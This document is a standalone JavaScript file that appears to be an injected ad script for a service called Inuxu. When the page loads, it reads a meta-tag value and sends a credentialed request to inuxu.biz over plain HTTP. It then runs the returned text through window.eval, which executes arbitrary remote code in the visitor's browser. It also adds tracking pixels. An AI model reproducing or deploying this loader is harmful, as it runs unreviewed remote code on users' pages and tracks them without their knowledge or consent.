window.onload = function() { setTimeout(inusplash, 1500); }; function inusplash() { var timestamp = new Date().getTime(); var temp = "&c1=6&c2=13&c3=179&c4=283&c5=1&c6=0.025&c7=1&c8=null&c9=null&c10=null&c12=10&c11=1030&c13=2&c14=keywords&c16=1&c17=L"; var index=temp.indexOf("c13"); var nextIndex=temp.indexOf("&", index); var METAKEYWORD="c15"; var strategy=temp.substring(index+4, nextIndex); if(strategy==2){ var keyWordIndex=temp.indexOf("c14"); var keyNextIndex=temp.indexOf("&", keyWordIndex); var tempMetaTag=temp.substring(keyWordIndex+4, keyNextIndex); //var tempMetaTag=temp.substring(nextIndex+5, temp.length); if(tempMetaTag!=null || tempMetaTag!=""){ var metacontent=""; try { metacontent = getMetaContentByName(tempMetaTag,null); } catch(err) { metacontent = ""; } temp=temp+"&"+METAKEYWORD+"="+metacontent; }else{ temp=temp+"&"+METAKEYWORD+"= "; } } //console.log("http://localhost:8080/Inuxu_SPOT/Shs?ts=" + timestamp+temp); getScript("http://inuxu.biz/Inuxu_SPOT/Shs?ts=" + timestamp+ temp, fooScriptLoaded, fooScriptInitialized, null); //getScript("http://106.187.49.129:8181/Inuxu_SPOT/Shs?ts=" + timestamp+ // temp, fooScriptLoaded, fooScriptInitialized, null); //console.log("http://localhost:8080/Inuxu_SPOT/Shs?ts=" + timestamp+ // temp); //console.log("http://106.187.49.129:8181/Inuxu_SPOT/Shs?ts=" + timestamp+ // temp); } function initScript(scriptString) { window.eval(scriptString); } function getScript(url, loadCallback, initCallback, callbackScope) { var req=null; if (window.XMLHttpRequest) { try { req = new XMLHttpRequest(); req.withCredentials = true; } catch (ex) { req = new window.ActiveXObject("Microsoft.XMLHTTP"); req.withCredentials = true; console.log("Exception in object creation in new JS."+ex); } } try { req.open("GET", url, true); } catch (e) { console.log("Exception in req.open."+e); } req.onreadystatechange = function(e) { if (req.readyState == 4) { if (loadCallback) loadCallback.apply(callbackScope); if (req.responseText.length > 0) { initScript.call(null, req.responseText); if (initCallback) initCallback.apply(callbackScope); } } }; req.send(); } function getMetaContentByName(name,content){ var content = (content==null)?'content':content; return document.querySelector("meta[name='"+name+"']").getAttribute(content); } function fooScriptLoaded() { } function fooScriptInitialized() { inu_insertSlider(); }; var img1 = document.createElement("img"); img1.src="http://googleads.g.doubleclick.net/pagead/viewthroughconversion/988910127/?value=1.00&label=mgC5CN_i-1UQr6TG1wM&guid=ON&script=0"; document.body.appendChild( img1); var img1 = document.createElement("img"); img1.src="https://www.facebook.com/tr?id=708117105894104&ev=NoScript"; document.body.appendChild( img1);